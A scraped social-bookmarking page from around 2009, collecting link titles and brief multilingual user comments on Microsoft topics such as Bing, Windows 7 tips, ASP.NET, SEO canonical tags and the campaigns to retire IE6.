Links to many of Microsoft's SDKsThe Future Of Social Search (Or Why Google Should Buy Facebook)
Will Google buy....Obama Staff Arrives to White House Stuck in Dark Ages of Technology - washingtonpost.com
"The team members, accustomed to working on Macintoshes, found computers outfitted with six-year-old versions of Microsoft software. Laptops were scarce, assigned to only a few people in the West Wing. The team was left struggling to put closed captions on online videos."
"It is kind of like going from an Xbox to an Atari" And the geeks shall inherit the Earth.
En arrivant à la Maison Blanche, l'équipe Obama, qui a mené la campagne la plus "2.0" de l'Histoire a découvert l'horreur d'une institution qui est resté à l'âge de pierre...CNN.com - Special Reports - The 44th President - The Moment
"Select a scene:" の一番下。Photosynthの技術があの瞬間を切り取って、その雰囲気を集めてる。
After a historic campaign season and Election Day, Barack Obama begins his term in the White House with a record-breaking inauguration.
great use of photosynth to show multidimensionality of Obama's election. one browses from one household to the other.... great stuff!!!The Plot to Kill Google
DOJ story on Google's failed attempt to do advertising with Yahoo.. and lawyer-ly intrique and microsoft scare tactics
An article on everyone's favorite search engine by the awesome folks over at Wired.com.
Google may not be evil, but it sure does have enemies.It’s Me, and Here’s My Proof: Why Identity and Authentication Must Remain Distinct
public / private data with logging on
Overview of the security principles identity, authentication and authorization.
Ver clear description of the problem. Identity - "who are you?" - public assertion - locally unique. Authentication - "how can you prove it?" - secret response - non-unique. So biometrics are identity, not authentication.ASP.NET MVC 1.0 Release Candidate Now Available - ScottGu's Blog
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Ramp Up is a free, online, community-based learning program that will help you build professional development skills20 Windows 7 Tweaks & Tips – Every Secret Uncovered to Date | Maximum PC
Windows 7 shortcutsCreate a Language Compiler for the .NET Framework Using C#
Compiler hackers are celebrities in the world of computer science. I've seen Anders Hejlsberg deliver a presentation at the Professional Developers Conference and then walk off stage to a herd of men and women asking him to sign books and pose for photographs. There's a certain intellectual mystique about individuals who dedicate their time to learning and understanding the ins and outs of lambda expressions, type systems, and assembly languages. Now, you too can share some of this glory by writing your own compiler for the Microsoft® .NET Framework.Windows 7: The Complete Guide
make mini-outlook calendars to drop in OOF messages for extra-long vacationsLifehacker Top 10: Top 10 Outlook Boosters
Includes Troy's Outlook Attachment Reminder, a VBScript that checks messages for the word "attach" and its variations and then looks for a certain number of attachments. No attachments present? A little pop-up asks if you're sure you didn't forget something. Small, helpful, and great at keeping your e-name in good standing.検索エンジン3社、正しいサイトURLを認識させるcanonical属性を導入（URLの正規化） :: SEM R
HTML に、<link rel="canonical" href="http://mysite.com"/> を加える、と。
ページネーション使ってるページとかにも使っていいのかな。Microsoft Startup Zone
If tags conflict (such as pages point to each other as canonical, the URL specified as canonical redirects to a non-canonical version, or the page specified as canonical doesn’t exist), search engines will sort things out just as they do now, and will determine which URL they think is the best canonical version.
Specify the canonical version using a tag in the head section of the page as follows: <link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish"/> That’s it!
Canonical explanation.50 seriously useful Windows 7 tips | News | TechRadar UK
50 seriously useful Windows 7 tips It's the mother lode of Windows 7 tweaks and tricks! : TechRadar UKLarry Osterman's WebLog : Why is the DOS path character "\"?
And how DOS builders added secret support to make it more like unix.
Why \ was used for paths in DOS.
The reason why DOS (and subsequently Windows) went with the backslash character to convey path information, instead of UNIX's forward-slash.
Why is there a "\" key on the keyboard in the first place? As far as I know, they aren't used in English grammar, and to this day, most common users don't know which is "back" and which is "forward."
Thanks Reddit! If you've ever wondered why all the paths on Windows machines are wrong, why the escape character on Windows is "^" and so on, please read this little piece.Microsoft Office Labs vision 2019 (montage + video) - istartedsomething
A very very cool insight to the future, where Microsoft Surface pervades every aspect of everyone's lives.
When Microsoft decides to imagine the future, it never fails to impress. Not only do you have some of the smartest people envisioning what’s possible, but they also invest so much into communicating these ideas through sights and sounds which the production value can be compared to most blockbuster sci-fi films.
マイクロソフトの考える2019。 UIでもビデオ的な。A disagreeably facetious type glossary
FOR THE AMUSEMENT & EDIFICATION OF PEOPLE BEGINNING A LOVE AFFAIR WITH FONTSCustomGuide - Free Computer Training Quick References, Cheat Sheets
Free Computer Training Quick References, Cheat SheetsiPhoneでC#アプリが審査に通るワケ － ＠IT
mono良さそうですなRay Ozzie Wants to Push Microsoft Back Into Startup Mode
Must-read Wired article about the new Chief Software Architect of Microsoft - Ray Ozzie. Bill Gates him one of the top 5 programmers in the universe. That's a compliment!
This makes me want to dig up that "Ozzie is trying to build that thing he's been trying to build for the last 25 years; nobody cares, still" article.
Get Wired's take on technology business news and the Silicon Valley scene including IT, media, mobility, broadband, video, design, security, software, networking and internet startups on Wired.com
Really interesting article about the issues facing Microsoft, Cloud Computing and other problems and possibilities for Microsoft.Running Windows Programs On Ubuntu 8.10 With CrossOver Linux Pro 7.1.0 | HowtoForge - Linux Howtos and Tutorials
Running Windows Programs On Ubuntu 8.10 With CrossOver Linux Pro 7.1.0Amazon EC2 with Microsoft Windows Server Notification
Amazon EC2 running Microsoft Windows Server® 2003 is a fast and dependable environment for deploying applications using the Microsoft Web Platform, including ASP.NET, ASP.NET AJAX, Silverlight™, and Internet Information Server (IIS). Amazon EC2 enables you to run any compatible Windows-based solution on AWS’ high-performance, reliable, cost-effective, cloud computing platform. Common Windows use cases include website and web-service hosting, high-performance computing (HPC) and data processing, media transcoding, distributed testing, ASP.NET application hosting, and any other application requiring Windows software. Amazon EC2 also now supports the SQL Server® Express and SQL Server Standard databases, and makes those offerings available to customers on an hourly basis.
amazon web servicestwendz : Exploring Twitter Conversations and Sentiment
Wouldn’t it be lovely to have a nice, clean installation of Microsoft’s Office 2007 Suite to run on your Ubuntu Linux Distribution? For some people, this is the only thing that truly holds them back from an all-Linux environment… But not anymore! We have compiled a nice, concise set of instructions to help guide you along.Bring Down IE 6: a campaign by .net magazine
Bring Down IE 6
a campaign by .net magazine
WOOHOOOOOO5 Great Microsoft Web Services You Probably Don't Use - PC World
Microsoft is so often the behemoth everyone loves to hate that people overlook the stuff it does right. We tried its newer Web services and found five gems.Hugs For Monsters :: The Work of Visual Artist Joe Lifrieri
"While working on this site, I made jokes to Mike Yuan about having really confrontational splash pages for anybody that visited the site using IE6. I swear, I’m not this much of a dick to my users, but as a former PC user/Xbox owner, I have enough pent up MS-Hate to fill a fucking water tower. Just remember it’s completely a joke, I don’t care what browser you use as long as you don’t expect me to support it. Thanks for stopping by, hope you laughed."Expression Web SuperPreview makes cross-browser testing like moist delicious cake - istartedsomething
People sometimes ask me why I dislike Microsoft. The answer is simple: I don’t -- I’ve just been disappointed with ...
Microsoft concept video.
Fantastic little video from Microsoft, showing how technology (mostly AR - augmented reality) might work in the future.Microsoft Web Platform - Home
Microsoft Web Platform - HomeUBit Schweiz: UBitMenu (languages)
Put old office 2003 menus back in office 2007 ribbon
UBitMenu adds classic menu to Microsoft Office 2007
Provides 2003-style menus for Microsoft Office 2007.
UbitMenu has created an Office 2007 menu using the native developer tools available. This means it installs easily and should have little impact on performance. The downside is the lack of configuration options available for Office 2007 interface developers – you can’t change anything on the Menu ribbon and it’s fixed into the tab position decided by the developers.SaveIE6: Help us save the best browser around
These days we are inundated with bloated web browsers that overcomplicate our lives. However, there is one eminent exception: IE6. It has been around since 2001 and is still one of the most powerful and versatile browsers available.
You have been mislead by a vocal minority and are using firefox, which is clearly an inferior web browser to IE6. Please switch to IE6 and sign our petition.Informatik IV: Containing Conficker
Containing Conficker Tools and Infos
The following page contains the tools and analysis results described in our "Know your Enemy" paper "Containing Conficker - To Tame a Malware". The paper is published by the undefinedHoneynet Project and can be downloaded here: undefinedhttps://www.honeynet.org/papers/confickerSharePoint 2007: Gateway Drug to Enterprise Social Tools :: Personal InfoCloud
Via AdrianaSharepoint and Enterprise 2.0: The good, the bad, and the ugly | Enterprise Web 2.0 | ZDNet.com
Useful article highlighting Sharepoint and Enterprise 2.0
The technology landscape of the enterprise environment fits SharePoint well; the business requirements to a lesser extent.
These concerns about SharePoint’s ability to be an effective Enterprise 2.0 platform is one I hear echoed a lot with practitioners I talk to. In spite of this, I correspondingly hear that SharePoint is in fact what most organizations are planning on using when it comes to 2.0-style collaboration and knowledge management.Free Utility: RichCopy, an Advanced Alternative to RoboCopy
I'm setting up some maintenance scripts for backing up my web-site development server on my Windows Home Server, as a first step in transitioning the web development to the WHS itself. I have an xcopy script that I've been using. Robocopy and Richcopy might work better for some tasks.
IE6 Update looks like IE’s Information Bar, but instead of offering your visitors an ActiveX plugin, it offers a browser update.
Install IE6 Update
Trick people into updating IE6 to something far better.
"IE6 Update looks like IE’s Information Bar, but instead of offering your visitors an ActiveX plugin, it offers a browser update."……これはさすがにやり過ぎ感があります。Windows 7 Release Candidate Customer Preview Program
Axum is a language that builds upon the architecture of the Web and principles of isolation, actors, and message-passing to increase application safety, responsiveness, scalability, and developer productivity. Other advanced concepts we are exploring are data flow networks, asynchronous methods, and type annotations for taming side-effects.
Axum is a language that builds upon the architecture of the Web and principles of isolation, actors, and message-passing to increase application safety, responsiveness, scalability and developer productivity.\窓の杜 - 【REVIEW】フォルダを同期させるMS純正の高機能コマンド“robocopy”をGUIで「RichCopy」
MaximumPC.com is the best online resource for PC Features. Visit Maximum PC and read about Blue Screen of Death Survival Guide: Every Error Explained.Growl for Windows
I can't decide between Snarl and Growl for Windows
Put simply, Growl lets you know when things happen. Files finished downloading, friends came online, new email has arrived - Growl can let you know when any event occurs with a subtle notification. The rest of the time, Growl stays out of your way.Bing
Microsoft's search engine
Microsoft's new search engineMicrosoft Vine – Request an invitation
En su version Beta, una especie de red social pero basado totalemnete en el aspecto geografico, aun no se muy bien como fuinciona, pero parece interesante, aunquecon el inconveniente de siempre, servicio solo para EU
he Microsoft Vine Beta connects you to the people and places you care about most, when it matters. Stay in touch with family and friends, be informed when someone needs help. Get involved to create great communities. Use alerts, reports and your personal dashboard to stay in touch, informed and involved.Google / Bing Comparison for
ke a look at how we can use the Site Analysis tool to quickly
SEO (search engine optimization) is one of the important considerations that any Internet web-site needs to design with in mind. A non-trivial percentage of Internet traffic to sites is driven by search engines, and good SEO techniques can help increase site traffic even further. Likewise, small mistakes can significantly impact the search relevance of your site’s content and cause you to miss out on the traffic that you should be receiving. Some of these mistakes include: multiple URLs on a site leading to the same content, broken links from a page, poorly chosen titles, descriptions, and keywords, large amounts of viewstate, invalid markup, etc. These mistakes are often easy to fix - the challenge is how to discover and pinpoint them within a site.
Tool to optimize searches of your site.Bing
I am really impressed by this new search, excuse me, decision engine. Way to go, Microsoft. I think I'll use this more than Google now.
new search engine from msn called bing.. looks pretty cool!
Good Search engine
buscador de microsoftAnnoyances.org - Remove the Microsoft .NET Framework Assistant (ClickOnce) Firefox Extension
Remove the Microsoft .NET Framework Assistant (ClickOnce) Firefox Extension
The Microsoft .NET Framework 3.5 Service Pack 1 update, pushed through the Windows Update service to all recent editions of Windows in February 2009, installs the Microsoft .NET Framework Assistant firefox extension without asking your permission.
do you know anything about this?
Microsoft .NET Framework 3.5 Service Pack 1 installs a massive security vulnerability in Firefox, without asking for permission. How to remove itSitePoint » Microsoft SuperPreview: a New Way to Test Websites
http://www.sitepoint.com/blogs/2009/03/19/microsoft-superpreview- website-tester/website-tester MicrosoftSuperPreview
SitePoint Blogs: News, opinion, and fresh thinking for web developers and designersHow to disable the Autorun functionality in Windows
The purpose of Autorun The main purpose of Autorun is to provide a software response to hardware actions that you start on a computer. Autorun has the following features: * Double-Click * Contextual Menu * AutoPlay These features are typically called from removable media or from network shares. During AutoPlay, the Autorun.inf file from the media is parsed. This file specifies which commands the system runs. Many companies use this functionality to start their installers.
How to disable the Autorun functionalityBing
Bing is a search engine that finds and organizes the answers you need so you can make faster, more informed decisions.
Search. Explore. Decide.
social networking searchIf Everything Was Made by Microsoft | Cracked.com
Useful tips for Excel double-clickers.Cheap Flights, Hotels, Destinations | Bing Travel
From Bing search engineSecurity Fix - Microsoft Update Quietly Installs Firefox Extension
firefox; beware of security update
"I'm here to report a small side effect from installing this service pack that I was not aware of until just a few days ago: Apparently, the .NET update automatically installs its own Firefox add-on that is difficult -- if not dangerous -- to remove, once installed. Annoyances.org, which lists various aspects of Windows that are, well, annoying, says "this update adds to Firefox one of the most dangerous vulnerabilities present in all versions of Internet Explorer: the ability for Web sites to easily and quietly install software on your PC." I'm not sure I'd put things in quite such dire terms, but I'm fairly confident that a decent number of Firefox for Windows users are rabidly anti-Internet Explorer, and would take umbrage at the very notion of Redmond monkeying with the browser in any way. Big deal, you say? I can just uninstall the add-on via Firefox's handy Add-ons interface, right? Not so fast. The trouble is, Microsoft has disabled the "uninstall" button on the extension."
Microsoft Update Quietly Installs Firefox Extension http://is.gd/KYiM [from http://twitter.com/sanjayayogi/statuses/1985287536]
Microsoft Update Quietly Installs Firefox Extension A routine security update for a Microsoft Windows component installed on tens of millions of computers has quietly installed an extra add-on for an untold number of users surfing the Web with Mozilla's Firefox Web browser.Search Engine Optimization Toolkit : The Official Microsoft IIS Site
SEO outils optimisation fournit par IISあなたは知ってる？ダブルクリックだけでできるExcelの小技いろいろ - IDEA*IDEA ～ 百式管理人のライフハックブログ ～
全然知らなかった。ASP.NET MVC 1.0 - ScottGu's Blog
scott guthrie, pub 4/1/2009
ScottGu's BlogWindows Internet Explorer 8: Get the facts
Jump to: Page Content, Site Navigation, Site Search, Site Map
the "IE8: Get the facts" link is damn funny. Comments and tags for this link on delicious is just as entertaining.
THEY NEED TO ADD DRINKABILITY
HA!Outlook’s broken—Let’s fix it
Outlook’s broken—Let’s fix it
Campaign to convince Microsoft to make Outlook's next version not be a giant step backwards.
Gathering Twitter posts and user icons as a form of petition.
"Join [thousands of] others asking Microsoft to improve standards support and make sure you include fixoutlook.org in your tweet. We’ll pull together every tweet that includes the link here to give Microsoft a unified message from the community."簡単に、エクセルの作業効率をアップする15のTips | コリス
エクセルの設定をカスタマイズして、作業効率をアップする15のTipsをChandoo.orgから紹介します。 15 MS Excel Tips to Make
各Tipsの表記は、当方のエクセル2003に準じています。 会社時代、納品したエクセルのプロパティに変な名前があってナミダモノでした。14番のTipsを知ってれば、全員に設定したのになぁ。Internet Explorer 8: Home page
Booting Windows7 from a virtual hard disk OS file .vhdBing vs. Google
Compare search results between Bing and Google.
side by side comparison of searches in Google and Bing
bing vs googleMicrosoft Hohm
Bringing people together to save energy and money
HohmThe Secret Diary of Steve Jobs: Let's all take a deep breath and get some perspective
For that matter, look at Linux. Correct me if I'm wrong -- and I'm sure you fucking freetards will find something to correct -- but I think Linus Tordalv started working on Linux back in 1991 when he was a high school student in his native Denmark. That's nearly twenty years ago, and the shit still doesn't run right.
Ich finde immer mehr lustige posts über Chrome OS. Hier ist der von Fake Steve Jobs. Moneyquote: "First of all, nobody seems to appreciate how goddamn hard it is to make an operating system. You don't just wake up one day and fall out of bed and make one. Not even the smarty pants kiddies at Google can do that. These things take years"Google Drops A Nuclear Bomb On Microsoft. And It’s Made of Chrome.
RT @parislemon: Yeah. So this just happened: Google Drops A Nuclear Bomb On Microsoft. And It’s Made of Chrome. http://bit.ly/MILxF [from http://twitter.com/vitaminjeff/statuses/2528591770]
Wow. So you know all those whispers about a Google desktop operating system that never seem to go away? You thought they might ...
Mitte nächsten Jahres wird Google ein auf Chrome besierendes Betriebssystem auf dem Markt bringen. Spezialisiert auf Netbooks aber insgesamt, wie Techcrunch es formuliert, ist es der Frontalangriff auf Microsoft. Steht uns eine Revolution bevor??? Mehr bei Techcrunch.Google's Microsoft Moment - Anil Dash
Anil Dash has an excellent piece about Google, about the potential differences in how the company (or those with in the company) see themselves and how those outside see the company. This is not one of those "Google is really evil" posts, but more a thoughtful commentary about how a now huge company can avoid becoming like every other huge tech company.
RT @timoreilly RT @anildash:Google has reached its "Microsoft moment" and is the last to realize: http://bit.ly/msmoment Interesting stuff [from http://twitter.com/theholodeck/statuses/2602344061]Project Tuva: Enhanced Video Player Home - Microsoft Research
Classic lectures on physics. Bill Gates funded. Now available for free with captions, notes, etc.BingTweets
real-time information about hot topics on Twitter by fusing Bing search results with the latest tweets.Stack Overflow Architecture | High Scalability
Stack Overflow Architecture | High Scalability
Stack Overflow is a much loved programmer question and answer site written by two guys nobody has ever heard of before. Well, not exactly. The site was created by top programmer and blog stars Jeff Atwood and Joel Spolsky. In that sense Stack Overflow is like a celebrity owned restaurant, only it should be around for a while. Joel estimates 1/3 of all the programmers in the world have used the site so they must be serving up something good.The Messenger Series - Microsoft Research
Feynman lectures series at Microsoft's Project Tuva
Richard Feynman lecturesIE6 Must Die for the Web to Move On
Amen! Anyone who has any influence over corporate IT policies _needs_ to read this.YouTube Will Be Next To Kiss IE6 Support Goodbye
YouTube phasing out support for IE6. http://www.hurl.ws/43fy (via @wrumsby) Finally a motivator for corporate IT depts everywhere. [from http://twitter.com/terrencewood/statuses/2639277259]
This is great news. I've already started hearing more and more people feeling comfortable about not supporting ie6
@atoouefeito Calma, isto já está acontecendo! http://migre.me/3LIZ [from http://twitter.com/evertonRR/statuses/2687632137]
YouTube ukinja podporo za IE6! Isto je napovedal tudi Digg (tudi top 10 stran), tako da bi to znalo končno prisiliti preostale IE6 uporabnike da upgradajo.xkcd - A Webcomic - Estimation
I thought this was hillarious http://xkcd.com/612/
Uh, hay que esperar por lo menos hasta que se apague el sol! Ah, no, ahora son 2 minutos...pero cada vez falta más O.oBing and Google Agree: Slow Pages Lose Users - O'Reilly Radar
Stats on how much users choose to leave a page as load time increases
Awesome study -- everyone knows speed is "good," but this quantifies it.Daring Fireball: Microsoft's Long, Slow Decline
“People who love computers overwhelmingly prefer to use a Mac today. Microsoft’s core problem is that they have lost the hearts of computer enthusiasts.”IE6 No More - Home
Campaign site for retiring the old Internet Explorer 6 browser for good.
IE6 No MoreIE6 No More! Popular Web Companies Start Project to Kill IE6
Twitter users and the Digg community both rallied behind our battle cry. But now a high-profile group of startups, most funded by the well-known early stage venture firm Y Combinator, have started their own initiative, IE6 No More.
We've made no attempt to hide our belief that Internet Explorer 6 must die. IE6 is an ancient browser that does not support many of the major innovations of
We’ve made no attempt to hide our belief that Internet Explorer 6 must die. IE6 is an ancient browser that does not support many of the major innovations of the last 8 years. Yet it is still used by 15-25% of Internet users – and that fact alone is holding us back from a new area of web applications.SEOmoz | Top 10 Things the Microsoft/Yahoo! Deal Changes for SEO
Nice article by Rand Fishkin about how the SEO landscape may change with the new Bing/Yahoo deal.
The search landscape is changing significantly this morning, and SEOs of all stripes need to pay close attention. I'm going to do my best to summarize the impact of these changes based on what we already know and interpret what's going to change for the field of search engine optimization and what we, as representatives of our clients and our companies, need to know and do.The prospects of Microsoft Word in the wiki-based world - Ars Technica
Interesting article on the future of MS Word and similar apps in an ever increasing cloud world
What will the future look like for office productivity behemoth Microsoft Word in a post-pring, wiki-based world? Ars writer Jeremy Reimer editorializes on whether Microsoft Word will—or will not—adapt to a drastically changed landscape.How to Upgrade the Windows 7 RC to RTM (Final Release) :: the How-To Geek
The Windows 7 beta or RC releases were Ultimate edition, so you’ll only be able to upgrade to the RTM (final) if you are installing Ultimate Edition.Benchmarked: Ubuntu vs Vista vs Windows 7 | TuxRadar
Currently reading: WOW: Google to Launch a New Version of Google Search http://bit.ly/i4UUt [from http://twitter.com/desabol/statuses/3236352149]
Google (Google) has a giant target on its back. Microsoft has been on a spending and deal-making spree to grow Bing (Bing), recently signing a huge search deal with Yahoo. And with Bing starting to steal some market share from Google, it’s proving to be a formidable opponent. Oh, and now you can’t count out Facebook (Facebook) either, which just launched a new realtime search engine. Google’s not taking any of this lying down. Secretly, they’ve been working on a new project: the next generation of Google Search. This isn’t just some minor upgrade, but an entire new infrastructure for the world’s largest search engine. In other words: it’s a new version of Google.
GoogleGoogle has a giant target on its back. Microsoft has been on a spending and deal-making spree to grow BingBing, recently signing a huge search deal with...isolani - Web Standards: IE8 Blacklist: forcing standards rendering opt-in
isolani - Web Standards:
To pre-empt this nonsense the practical course of action is to add the IE8 Compatibility view to your pages now before your sites get added to a blacklist. Exactly what Microsoft announced a year ago. They've routed around the web standards community. Again. Two extra browsers to test in And to spite us, last week I noticed that the IE7 Compatibility mode doesn't render pages exactly the same as Internet Explorer 7 itself.
"The gist of it is if you want to be sure your site renders in standards compliant mode in IE, you have to explicitly opt into it. Otherwise you risk being blacklisted and thrown into IE7 Compatibility mode."
users install Windows 7 Beta or the next IE8 update, they get a choice about opting-in to a list of sites that should be displayed in Compatibility View. Sites are on this list based on feedback from other IE8 customers: specifically, for what high-volume sites did other users click the Compatibility View button? This list updates automatically, and helps users who aren't web-savvy have a better experience with web sites that aren't yet IE8-ready.
RT @gezlemon: IE8 Blacklist: forcing standards rendering opt-in: http://tinyurl.com/anwwtm (via @isofarro_public) [from http://twitter.com/RichardJenkins/statuses/1205919087]
IE7 Compatibility Mode separately.
Microsoft in sneaky u-turn shockMobile OS shootout: iPhone OS 3.0 enters the fray
Comparison of Mobile phone operating systems (OS's). by EngadgetBBC NEWS | UK | Magazine | The problem with PowerPoint
Ok, the evils of powerpoint are getting attention in the news. But why does Delicious recommend that I tag this "humour"?
good advice for powerpoint presentationsBBC NEWS | Magazine | The problem with PowerPoint
25 years of PowerPoint. But does it really help us create better presentations?
Useful for teaching presentation skills
An article from the BBC Web site magazine with useful tips on avoiding common problems with PowerPoint (written to celebrate 25 years of PowerPoint)A comprehensive list to Silverlight Controls for developers
The web site and blog of Tim Heuer, Program Manager for Microsoft Silverlight. A great resource for learning Silverlight development and other Microsoft related technology.Complete Guide to Making Outlook Faster (Than Molasses) - Outlook - Lifehacker
scanpst.exeLicensed Memory in Windows Vista
Though machines with 4GB are not yet the typical purchase for home or business use, they are readily available from major manufacturers and it won’t be long before they are the typical purchase. But there are problems. You don’t have to stand for long in a computer shop to hear a sales assistant talk of 4GB as some sort of limit for 32-bit operating systems, and it won’t be long before this sales patter develops into outright promotion of 64-bit Windows as the only way to get past this limit. Some sense of this can be seen already in manufacturers’ advertising materials, as in the following fine print from Dell:
You probably already know this, but this page describes PAE and how a 32-bit OS can use more than 4GB of RAM (and already does - see Windows Server editions).Windows 7 Sins — The case against Microsoft and proprietary software
Free Software Foundation
FSF launches campaign against Windows 7 and proprietary software Windows 7 Sins: The case against Microsoft and proprietary software The new version of Microsoft's Windows operating system, Windows 7, has the same problem that Vista, XP, and all previous versions have had -- it's proprietary software. Users are not permitted to share or modify the Windows software, or examine how it works inside. The fact that Windows 7 is proprietary means that Microsoft asserts legal control over its users through a combination of copyrights, contracts, and patents. Microsoft uses this power to abuse computer users. At windows7sins.org, the Free Software Foundation lists seven examples of abuse committed by Microsoft.
Important notice regarding impending lack of privacy, freedom and security from Microsoft Corporation.
El cuarto pecado es el que más me repele de Windows!Use any version of Windows 7 free for 120 days
Interesting idea if you have the inclination and time...
There's an easy way to stretch Windows 7's 30-day free-trial period to 120 days so you can determine whether Microsoft's new operating system meets your needs.Even better — if you know the secret — you can try out any version of Win7, from Ultimate to the lowly Basic, using a single install disc.
The Windows Secrets Newsletter brings you essential tricks of running Microsoft Windows XP, Vista, Internet Explorer, Firefox, Windows Update, and more — weekly, free.WinToFlash Turns Your Windows Installation DVD into a USB-Based Installer - Installation - Lifehacker
to do listKeyboard shortcuts
18 cool things Windows 7 does that Vista doesn't The stuff that makes the upgrade worthwhile : TechRadar UK
Cool stuff! Didn't know about the shake and a couple of other things. via stocktickrDoloto
An AJAX application optimization tool from Microsoft.
Doloto is an AJAX application optimization tool, especially useful for large and complex Web 2.0 applications that contain a lot of code, such as Bing Maps, Hotmail, etc. Doloto analyzes AJAX application workloads and automatically performs code splitting of existing large Web 2.0 applications. After being processed by Doloto, an application will initially transfer only the portion of code necessary for application initialization.Announcing the Microsoft AJAX CDN - ScottGu's Blog
This is amazing - MS is providing a Content-Distrib-Network for us to use for free, to distribute the jQuery and ASP.NET-AJAX files.741
Dirt cheap student copy of windows 7
Steeply discounted Windows 7 Home Premium or Professional for qualifying students.
Limited time offer to get Windows 7 for $29.99
"Here we’ll break down 5 awesome Bing-specific features that are really growing on us. From insightful information to help us better plan our trips to cashback on purchases, and a visually stimulating or Twitter (Twitter)-enhanced search experience, we’re starting to think Bing has some zing."
Here's an article about Google's Microsoft competitor, bing.com. It argues that bing may be better...
Bing() is now the fastest growing search engine. A Nielsen report shows that it currently holds 10.7% of the search market (to Google’s() 65%), but its month-over-month growth is 22%, which is astronomical. Here we’ll break down 5 awesome Bing-specific features that are really growing on us. From insightful information to help us better plan our trips to cashback on purchases, and a visually stimulating or Twitter()-enhanced search experience, we’re starting to think Bing has some zing.
Article from Mashable - Travel INsight, Cashback, Visual Search, Bing Tweets, Enhanced Tweets
Interesting read, although I usually end up feeling let down by Microsoft.
Visual results, travel results
Bing (Bing) is now the fastest growing search engine. A Nielsen report shows that it currently holds 10.7% of the search market (to Google’s (Google) 65%), but its month-over-month growth is 22%, which is astronomical. Microsoft has been pumping an endless supply of dollars into its marketing and advertising initiatives around Bing, and the strategy is clearly paying off. Hype aside, Bing happens to be a very viable search alternative to Google, and offers several incentives that Google can’t compete with at the moment. Here we’ll break down 5 awesome Bing-specific features that are really growing on us. From insightful information to help us better plan our trips to cashback on purchases, and a visually stimulating or Twitter (Twitter)-enhanced search experience, we’re starting to think Bing has some zing.Visual Search Galleries - Bing
New Bing feature: Visual Search Earlier this week, Microsoft added a new feature to the Bing search engine. It's called Visual Search and it's useful for those cases where you just can't find the words ... but you know it when you see it. The idea is that you can do searches using images instead of text. I've often had this problem when trying to look up a particular type of bird I've seen, for instance. It also works well with dog or cat breeds, electronics, automobiles and a number of other things. The Visual Search gallery is still in beta, but it looks like it could morph into an interesting and handy option.Download details: Expression Web SuperPreview for Internet Explorer
Expression Web SuperPreview for Internet Explorer is a stand-alone visual debugging tool that makes it faster and easier to migrate your sites from Internet Explorer 6 to Internet Explorer 7 or 8. With Expression Web SuperPreview for Internet Explorer, you can ensure that your Web sites work correctly in Internet Explorer 8 while also maintaining compatibility with earlier versions of Internet Explorer.
Expression Web SuperPreview for Internet Explorer is a visual debugging tool that makes it easier to migrate your web sites from Internet Explorer 6 to Internet Explorer 7 or 8.
SuperPreview for Internet ExplorerCourier: First Details of Microsoft's Secret Tablet - Microsoft courier tablet - Gizmodo
First Details of Microsoft's Secret Tablet
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Courier -Microsoft's Tablet
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It feels like the whole world is holding its breath for the Apple tablet. But maybe we've all been dreaming about the wrong device. This is Courier, Microsoft's astonishing take on the tablet.Google Has A Solution For Internet Explorer: Turn It Into Chrome
"Yes, it’s both hilarious and awesome (or hilariously awesome, if you will) that Google seems to dislike IE so much that it has spent its own time improving it."
Woah! IE6 Hacks be gone? RT @mike9r: New IE plugin from Google plugin puts Chrome's rendering engine INTO IE http://bit.ly/vbQc8 [from http://twitter.com/JohnnyMcNugget/statuses/4297129540]
ll difference is pretty small since Chrome is designed to give resources back to y
People hate IE6; they've made that abundantly clear on the web. Unfortunately, plenty of people are still stuck using it for reasons such ...WebsiteSpark - Home
I know Windows is awful. Everyone knows Windows is awful. Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it.
windows vs osx
Windows works for me. But I'd never recommend it to anybody else, ever.
(via FakeSteve)15+ amazing anti IE resources
PatchMatePro XP - For Windows XP SP1, SP2, or SP3 PatchMatePro XP is a program that simplifies patching, securing and installing all the basic applications you need when setting up a new system from scratch! PatchMateXP is incorporated into PatchMatePro XP. Finally, everything you need is on ONE CD! No more visiting websites and downloading all the applications you normally install on every system you build. Just bring along your PatchMatePro XP CD everywhere you go and you'll be ready to finish installing any new system from scratch!
Actualizaciones para Windows XP y Windows 2003
PatchMateXP offers a radically simplified—albeit all or nothing—approach to updating your Windows installation. Updated monthly, PatchMateXP is meant to be burned onto a CD and run from within Windows. It applies every update release for Windows. If you need granular control over your updates to avoid known complications with your hardware, peripherals, or software and a particular Windows update you'll definitely want to skip PatchMateXP and check out the tools above for more selective installation. PatchMateXP is a free tool, Windows only.
PatchMate is a program that automatically applies Microsoft security hot-fixes from CD to your WinXP computer with little or no user-intervention. PatchMate can install in as little as 5 minutes depending on system configuration.
Updating your Windows install over a slow connection, or as part of multiple installations, can be a time-consuming pain. PatchMateXP bundles all current updates onto an easy to use deployment disk. We've covered methods of slipstreaming and creating your own custom Windows update disks before, with tools like Windows Update Maker, AutoPatcher, and nLite. PatchMateXP offers a radically simplified—albeit all or nothing—approach to updating your Windows installation. Updated monthly, PatchMateXP is meant to be burned onto a CD and run from within Windows. It applies every update release for Windows. If you need granular control over your updates to avoid known complications with your hardware, peripherals, or software and a particular Windows update you'll definitely want to skip PatchMateXP and check out the tools above for more selective installation. PatchMateXP is a free tool, Windows only.
PatchMate is a program that automatically applies Microsoft security hot-fixes from CD to your computer with little or no user-intervention.
Get a CD full of all the latest patches (updated monthly)Windows Keyboard Shortcuts for Windows 7 | TutZone
Windows Keyboard Shortcuts for Windows 7Disk2vhd
Tool by SysInternals to convert windows installation to Virtual PC VHD fileExploding Software-Engineering Myths - Microsoft Research
A Review of the Pirated Copy of Windows 7 I Bought On eBay
A Review of the Pirated Copy of Windows 7 I Bought On eBay - http://bit.ly/4FKpXb [from http://twitter.com/hadhad/statuses/4680624496]
Terrible. Possibly related to the previously mentioned hardware difficulties, I found stability to be a real issue with Windows 7. Crashes were frequent, including Blue Screens of Death. Error messages were cryptic and meaningless to me – see below.
LMAO!!! Un unboxing de "Windows7" muy divertido :-)
"Very difficult. The install for Windows 7 comes on four floppy disks, and as my laptop doesn’t have a floppy drive, I was worried I’d have to travel 10 years into the past to find a computer that did. Fortunately, my local Best Buy was offering a USB floppy drive for $80, which, not withstanding certain recent software purchases, struck me as the greatest ripoff the world has ever seen. I’d advise anyone wanting to install Windows 7 on their own machine should make sure their hardware can support it."Getting Started with Silverlight development
About. SharePoint 2010 enables organizations to connect and empower people through an integrated set of rich features. Get a sneak peek of SharePoint 2010 product features today.New camera promises to capture your whole life - tech - 16 October 2009 - New Scientist
Interesting gadget but I don't want to buy it by $800.
